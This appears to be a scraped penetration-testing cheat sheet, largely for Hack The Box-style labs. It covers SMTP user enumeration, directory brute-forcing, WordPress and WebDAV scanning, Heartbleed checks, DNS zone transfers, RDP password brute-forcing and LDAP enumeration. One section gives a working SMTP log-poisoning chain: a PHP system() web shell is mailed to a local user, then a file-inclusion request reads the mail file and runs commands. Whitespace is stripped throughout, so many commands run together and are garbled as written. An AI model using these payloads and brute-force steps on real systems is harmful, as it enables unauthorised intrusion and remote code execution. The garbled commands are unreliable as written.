SMTP is a server to server service. The user receives or sends emails using IMAP or POP3. Those messages are then routed to the SMTP-server which communicates the email to another server. The SMTP-server has a database with all emails that can receive or send emails. We can use SMTP to query that database for possible email-addresses. Notice that we cannot retrieve any emails from SMTP. We can only send emails.
Here we have managed to identify the user root. But roooooot was rejected. VRFY, EXPN and RCPT can be used to identify users. Telnet is a bit more friendly some times. So always use that too
# Using the smtp-user-enum tool. # -M for mode. -U for userlist. -t for targetsmtp-user-enum-MVRFY-U/root/sectools/SecLists/Usernames/Names/names.txt-t192.168.1.103
Using SMTP for log contamination. Watch the video from ippsec on Beep
telnet10.10.10.725EHLOippsec.beep.htbVRFYasterisk@localhost### if successful, then:mailfrom:pwned@haha.iorcptto:asterisk@localhostdataSubject:Youhavebeenpwned<? echo system($_REQUEST['ipp']); ?>.2502.0.0Ok:queueas03655D92F7Then:GET/example/page?=../../../../../../../var/mail/asterisk%00&module=Accounts&action?ipp=ls
# Gobustergobuster-u10.10.10.10-w/usr/share/seclists/Discovery/Web_Content/common.txt-t80-aLinux# Specifying a user agentgobuster-s200,204,301,302,307,403-u10.10.10.10-w/usr/share/seclists/Discovery/Web_Content/big.txt-t80-a'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'# searching for specifc extensionsgobuster-u10.10.10.10-w/usr/share/seclists/Discovery/Web_Content/common.txt-t80-aLinux-x.txt,.php
WordPress Scanner
# WPScanwpscan-u10.10.10.10/wp/
WebDAV Scanner
# Davtestdavtest-urlhttp://10.11.1.15
HTTPS
# Heartbleed Vuln status of different versions:OpenSSL1.0.1through1.0.1f (inclusive) are vulnerableOpenSSL1.0.1gisNOTvulnerableOpenSSL1.0.0branchisNOTvulnerableOpenSSL0.9.8branchisNOTvulnerable# Checking if a page is vulnerable to heartbleedsslscan192.168.101.1:443ornmap-sV--script=ssl-heartbleed192.168.101.8# You can also exploit the vulnerability using Burp and Metasploituseauxiliary/scanner/ssl/openssl_heartbleedsetRHOSTS192.168.101.8setverbosetruerun
A (address) records: containing the IP address of the domain.
MX records: stands for Mail Exchange, contain the mail exchange servers.
CNAME records: used for aliasing domains. CNAME stands for Canonical Name and links any sub-domains with existing domain DNS records.
NS records: which stands for Name Server, indicates the authoritative (or main) name server for the domain.
SOA records: which stands for State of Authority, contain important information about the domain such as the primary name server, a timestamp showing when the domain was last updated and the party responsible for the domain.
PTR or Pointer Records: map an IPv4 address to the CNAME on the host. This record is also called a ‘reverse record’ because it connects a record with an IP address to a hostname instead of the other way around.
TXT records: contain text inserted by the administrator (such as notes about the way the network has been configured).
# Zone Transferdigaxfrmegacorp.local@10.10.10.179# Windows:nslookupsettype=anyls-dblah.com# DNS IP Lookupdiga<domain-name-here.com>@<dns-server-here># MX Record Lookupdigmx<domain-name-here.com>@<dns-server-here># Whois Enumerationwhois<domain-name-here># DNSRecon Tooldnsrecon-d10.11.1.13-D/usr/share/wordlists/dnsmap.txt-tstd--xmlouput.xml#Zone Transferdnsrecon-dexample.com-taxfr# Find Active Directory using DNSnmap--scriptdns-srv-enum--script-args"dns-srv-enum.domain='labs.test.com'"
ncrack-vv--useradministrator-Ppasswords.txtrdp://192.168.1.10,CL=1# Then use rdesktop to loginrdesktop192.168.1.10
LDAP
# You will get whatever object that is at the base of the directory: ldapsearch-LLL-x-hldap.example.com-p3389-sbase'(objectclass=*)'# IPSEC - LightWeightldapsearch-x-h10.10.10.107-sbasenamingcontext# Then from the output, you would do:ldapsearch-x-h10.10.10.107-b"dc=hackthebox,dc=htb"# From ImpacketGetADUsers.py-all-dc-ip{ip}{domain/username}# Nmap using LDAP scriptnmap-p389--scriptldap-searchypuffy.htb